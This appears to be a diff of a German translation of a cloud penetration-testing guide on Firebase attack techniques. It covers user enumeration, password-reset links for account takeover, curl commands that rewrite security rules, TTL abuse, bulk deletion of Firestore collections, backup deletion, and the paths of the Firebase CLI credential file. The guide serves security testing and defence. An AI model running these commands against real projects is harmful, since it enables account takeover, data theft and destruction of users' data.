Der Angreifer könnte auch Informationen über vorhandene Benutzer abrufen, wie deren UID oder email, indem er Benutzerdetails entweder per UID oder per email-Adresse anfordert.
|
||||
Der Angreifer könnte außerdem Informationen über vorhandene Benutzer abrufen, wie deren UID oder email, indem er Benutzerdetails entweder per UID oder per email anfragt.
|
||||
```bash
|
||||
user = auth.get_user(uid)
|
||||
print(f'Información del usuario: {user.uid}, {user.email}')
|
||||
user = auth.get_user_by_email('usuario@example.com')
|
||||
print(f'Información del usuario: {user.uid}, {user.email}')
|
||||
```
|
||||
Außerdem könnte der Angreifer Verifizierungslinks oder Passwort‑Zurücksetzungslinks erzeugen, wodurch er das Passwort eines Nutzers ändern und die Kontrolle über das Konto übernehmen könnte.
|
||||
Zusätzlich könnte der Angreifer Verifizierungs- oder password-reset-Links erzeugen, wodurch er das Passwort eines Nutzers ändern und die Kontrolle über das Konto übernehmen kann.
|
||||
```bash
|
||||
link = auth.generate_email_verification_link(email)
|
||||
print(f'Link de verificación: {link}')
|
||||
@@ -301,15 +298,16 @@ link = auth.generate_password_reset_link(email)
|
||||
print(f'Link de reset: {link}')
|
||||
```
|
||||
### Änderung der Sicherheitsregeln in Firebase-Diensten
|
||||
Der Angreifer benötigt je nach Dienst spezifische Berechtigungen, um Sicherheitsregeln zu ändern. Für Cloud Firestore und Firebase Cloud Storage sind die erforderlichen Berechtigungen `firebaserules.rulesets.create` zum Erstellen von Rulesets und `firebaserules.releases.create` zum Bereitstellen von Releases. Diese Berechtigungen sind in der Rolle `roles/firebaserules.admin` oder in höherwertigen Rollen wie `roles/firebase.developAdmin` und `roles/firebase.admin` enthalten. Für Firebase Realtime Database ist die erforderliche Berechtigung `firebasedatabase.instances.update`.
|
||||
Der Angreifer benötigt je nach Dienst bestimmte Berechtigungen, um Sicherheitsregeln zu ändern. Für Cloud Firestore und Firebase Cloud Storage sind die erforderlichen Berechtigungen `firebaserules.rulesets.create` zum Erstellen von Rulesets und `firebaserules.releases.create` zum Bereitstellen von Releases. Diese Berechtigungen sind in der Rolle `roles/firebaserules.admin` enthalten oder in übergeordneten Rollen wie `roles/firebase.developAdmin` und `roles/firebase.admin`. Für die Firebase Realtime Database ist die erforderliche Berechtigung `firebasedatabase.instances.update`.
|
||||
|
||||
Der Angreifer muss die Firebase REST API verwenden, um die Sicherheitsregeln zu ändern. Zuerst müsste der Angreifer ein Access-Token mithilfe von Service-Account-Anmeldedaten erhalten.
|
||||
Um das Token zu erhalten:
|
||||
Der Angreifer muss die Firebase REST API verwenden, um die Sicherheitsregeln zu ändern.
|
||||
Zuerst müsste der Angreifer ein Zugriffstoken mithilfe von Service-Account-Zugangsdaten erhalten.
|
||||
Um das Zugriffstoken zu erhalten:
|
||||
```bash
|
||||
gcloud auth activate-service-account --key-file=path/to/serviceAccountKey.json
|
||||
ACCESS_TOKEN=$(gcloud auth print-access-token)
|
||||
```
|
||||
Um die Firebase Realtime Database rules zu ändern:
|
||||
Um die Regeln der Firebase Realtime Database zu ändern:
|
||||
```bash
|
||||
curl -X PUT "https://<project-id>-default-rtdb.firebaseio.com/.settings/rules.json?access_token=$ACCESS_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
@@ -320,7 +318,7 @@ curl -X PUT "https://<project-id>-default-rtdb.firebaseio.com/.settings/rules.js
|
||||
}
|
||||
}'
|
||||
```
|
||||
Um die Cloud Firestore-Regeln zu ändern, muss der Angreifer ein Ruleset erstellen und es dann bereitstellen:
|
||||
Um Cloud Firestore-Regeln zu ändern, muss der Angreifer ein ruleset erstellen und es dann bereitstellen:
|
||||
```bash
|
||||
curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
@@ -334,7 +332,7 @@ curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rule
|
||||
}
|
||||
}'
|
||||
```
|
||||
Der vorherige Befehl gibt einen Ruleset-Namen im Format projects/<project-id>/rulesets/<ruleset-id> zurück. Um die neue Version bereitzustellen, muss das Release mit einer PATCH-Anfrage aktualisiert werden:
|
||||
Der vorherige Befehl gibt einen ruleset-Namen im Format projects/<project-id>/rulesets/<ruleset-id> zurück. Um die neue Version bereitzustellen, muss die Release mit einer PATCH-Anfrage aktualisiert werden:
|
||||
```bash
|
||||
curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/cloud.firestore" \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
@@ -360,7 +358,7 @@ curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rule
|
||||
}
|
||||
}'
|
||||
```
|
||||
Der vorherige Befehl gibt einen ruleset-Namen im Format projects/<project-id>/rulesets/<ruleset-id> zurück. Um die neue Version bereitzustellen, muss das Release mit einer PATCH-Anfrage aktualisiert werden:
|
||||
Der vorherige Befehl gibt einen Ruleset-Namen im Format projects/<project-id>/rulesets/<ruleset-id> zurück. Um die neue Version bereitzustellen, muss das Release mittels einer PATCH-Anfrage aktualisiert werden:
|
||||
```bash
|
||||
curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/firebase.storage/<bucket-id>" \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
@@ -372,17 +370,17 @@ curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/rel
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Data exfiltration und Manipulation in Cloud Firestore
|
||||
Cloud Firestore verwendet dieselbe Infrastruktur und dasselbe Berechtigungssystem wie Cloud Datastore, daher gelten Datastore IAM-Berechtigungen direkt für Firestore. Um TTL-Policies zu manipulieren, wird die Berechtigung `datastore.indexes.update` benötigt. Um Daten zu exportieren, wird die Berechtigung `datastore.databases.export` benötigt. Um Daten zu importieren, wird die datastore.databases.import permission benötigt. Um Massenlöschungen von Daten durchzuführen, wird die Berechtigung `datastore.databases.bulkDelete` benötigt.
|
||||
### Datenexfiltration und -manipulation in Cloud Firestore
|
||||
Cloud Firestore verwendet dieselbe Infrastruktur und dasselbe Berechtigungssystem wie Cloud Datastore, sodass Datastore IAM-Berechtigungen direkt auf Firestore angewendet werden. Um TTL-Policies zu manipulieren, wird die Berechtigung `datastore.indexes.update` benötigt. Um Daten zu exportieren, wird die Berechtigung `datastore.databases.export` benötigt. To import data, the datastore.databases.import permission is required. Um Massenlöschungen von Daten durchzuführen, wird die Berechtigung `datastore.databases.bulkDelete` benötigt.
|
||||
|
||||
Für Backup- und Restore-Operationen werden spezifische Berechtigungen benötigt:
|
||||
|
||||
- `datastore.backups.get` und `datastore.backups.list`, um verfügbare Backups aufzulisten und deren Details abzurufen
|
||||
- `datastore.backups.get` und `datastore.backups.list`, um verfügbare Backups aufzulisten und Details abzurufen
|
||||
- `datastore.backups.delete`, um Backups zu löschen
|
||||
- `datastore.backups.restoreDatabase`, um eine Datenbank aus einem Backup wiederherzustellen
|
||||
- `datastore.backupSchedules.create` und `datastore.backupSchedules.delete`, um Backup-Zeitpläne zu verwalten
|
||||
|
||||
Wenn eine TTL-Policy erstellt wird, wird eine bestimmte Property ausgewählt, um Entities zu identifizieren, die für die Löschung infrage kommen. Diese TTL-Property muss vom Typ Date and time sein. Der Angreifer kann eine Property wählen, die bereits existiert, oder eine Property angeben, die er später hinzufügen möchte. Wenn der Wert des Feldes ein Datum in der Vergangenheit ist, wird das Dokument sofort für die Löschung freigegeben. Der Angreifer kann die gcloud CLI verwenden, um TTL-Policies zu manipulieren.
|
||||
Wenn eine TTL-Richtlinie erstellt wird, wird eine bestimmte Eigenschaft ausgewählt, um Entitäten zu identifizieren, die für die Löschung infrage kommen. Diese TTL-Eigenschaft muss vom Typ Datum und Uhrzeit sein. Der Angreifer kann eine bereits vorhandene Eigenschaft wählen oder eine Eigenschaft festlegen, die er später hinzufügen will. Wenn der Wert des Feldes ein Datum in der Vergangenheit ist, wird das Dokument sofort zur Löschung freigegeben. Der Angreifer kann die gcloud CLI verwenden, um TTL-Richtlinien zu manipulieren.
|
||||
```bash
|
||||
# Enable TTL
|
||||
gcloud firestore fields ttls update expireAt \
|
||||
@@ -401,14 +399,14 @@ Um bösartige Daten zu importieren:
|
||||
```bash
|
||||
gcloud firestore import gs://<bucket-name>/<path> --project=<project-id> --async --database='(default)'
|
||||
```
|
||||
Um massenhafte Datenlöschung durchzuführen und eine denial of service herbeizuführen, könnte der Angreifer das gcloud Firestore bulk-delete tool verwenden, um ganze Collections zu entfernen.
|
||||
Um massenhafte Datenlöschung durchzuführen und einen denial of service zu verursachen, könnte der Angreifer das gcloud Firestore bulk-delete tool verwenden, um ganze Collections zu entfernen.
|
||||
```bash
|
||||
gcloud firestore bulk-delete \
|
||||
--collection-ids=users,posts,messages \
|
||||
--database='(default)' \
|
||||
--project=<project-id>
|
||||
```
|
||||
Bei Backup- und Wiederherstellungsoperationen könnte ein Angreifer geplante Backups anlegen, vorhandene Backups auflisten, aus einem Backup wiederherstellen, um jüngste Änderungen zu überschreiben, Backups löschen, um dauerhaften Datenverlust zu verursachen, und geplante Backups entfernen.
|
||||
Für Backup- und Wiederherstellungsoperationen könnte der Angreifer geplante Backups erstellen, um den aktuellen Zustand der Datenbank zu erfassen, vorhandene Backups aufzulisten, aus einem Backup wiederherzustellen, um kürzliche Änderungen zu überschreiben, Backups zu löschen, um dauerhaften Datenverlust zu verursachen, und geplante Backups zu entfernen.
|
||||
Um einen täglichen Backup-Zeitplan zu erstellen, der sofort ein Backup erzeugt:
|
||||
```bash
|
||||
gcloud firestore backups schedules create \
|
||||
@@ -417,7 +415,7 @@ gcloud firestore backups schedules create \
|
||||
--retention=14w \
|
||||
--project=<project-id>
|
||||
```
|
||||
Um aus einem bestimmten Backup wiederherzustellen, könnte der Angreifer eine neue Datenbank erstellen, die die in diesem Backup enthaltenen Daten verwendet. Der Restore-Vorgang schreibt die Daten des Backups in eine neue Datenbank, sodass eine bestehende DATABASE_ID nicht verwendet werden kann.
|
||||
Um aus einem bestimmten Backup wiederherzustellen, könnte der Angreifer eine neue Datenbank mit den in diesem Backup enthaltenen Daten erstellen. Der Wiederherstellungsprozess schreibt die Daten des Backups in eine neue Datenbank, sodass eine vorhandene DATABASE_ID nicht verwendet werden kann.
|
||||
```bash
|
||||
gcloud firestore databases restore \
|
||||
--source-backup=projects/<project-id>/locations/<location>/backups/<backup-id> \
|
||||
@@ -430,16 +428,16 @@ gcloud firestore backups delete \
|
||||
--backup=<backup-id> \
|
||||
--project=<project-id>
|
||||
```
|
||||
### Diebstahl und Missbrauch von Firebase CLI credentials
|
||||
Ein Angreifer benötigt keine speziellen Firebase-Berechtigungen, um diesen Angriff durchzuführen, benötigt jedoch Zugriff auf das lokale System des Entwicklers oder auf die Firebase CLI credentials-Datei. Diese credentials werden in einer JSON-Datei gespeichert, die sich befindet unter:
|
||||
### Diebstahl und Missbrauch von Firebase CLI-Anmeldeinformationen
|
||||
Ein Angreifer benötigt keine speziellen Firebase-Berechtigungen, um diesen Angriff durchzuführen, benötigt jedoch Zugriff auf das lokale System des Entwicklers oder auf die Firebase CLI-Anmeldeinformationsdatei. Diese Anmeldeinformationen werden in einer JSON-Datei gespeichert, die sich befindet unter:
|
||||
|
||||
- Linux/macOS: ~/.config/configstore/firebase-tools.json
|
||||
|
||||
- Windows: C:\Users\[User]\.config\configstore\firebase-tools.json
|
||||
|
||||
Diese Datei enthält Authentifizierungstokens, einschließlich des refresh_token und access_token, die es dem Angreifer ermöglichen, sich als der Benutzer zu authentifizieren, der ursprünglich firebase login ausgeführt hat.
|
||||
Diese Datei enthält Authentifizierungstoken, einschließlich des refresh_token und access_token, die es dem Angreifer ermöglichen, sich als der Benutzer zu authentifizieren, der ursprünglich firebase login ausgeführt hat.
|
||||
|
||||
Der Angreifer erhält Zugriff auf die Firebase CLI credentials-Datei. Anschließend kann er die gesamte Datei auf sein eigenes System kopieren, und die Firebase CLI verwendet automatisch die credentials aus ihrem Standardpfad. Danach kann der Angreifer alle Firebase-Projekte einsehen, auf die dieser Benutzer Zugriff hat.
|
||||
Der Angreifer erhält Zugriff auf die Firebase CLI-Anmeldeinformationsdatei. Anschließend kann er die gesamte Datei auf sein eigenes System kopieren, und die Firebase CLI verwendet automatisch die Anmeldeinformationen aus ihrem Standardpfad. Danach kann der Angreifer alle Firebase-Projekte einsehen, die für diesen Benutzer zugänglich sind.
|
||||
```bash
|
||||
firebase projects:list
|
||||
```
|
||||
|
||||
Reference in New Issue
Block a user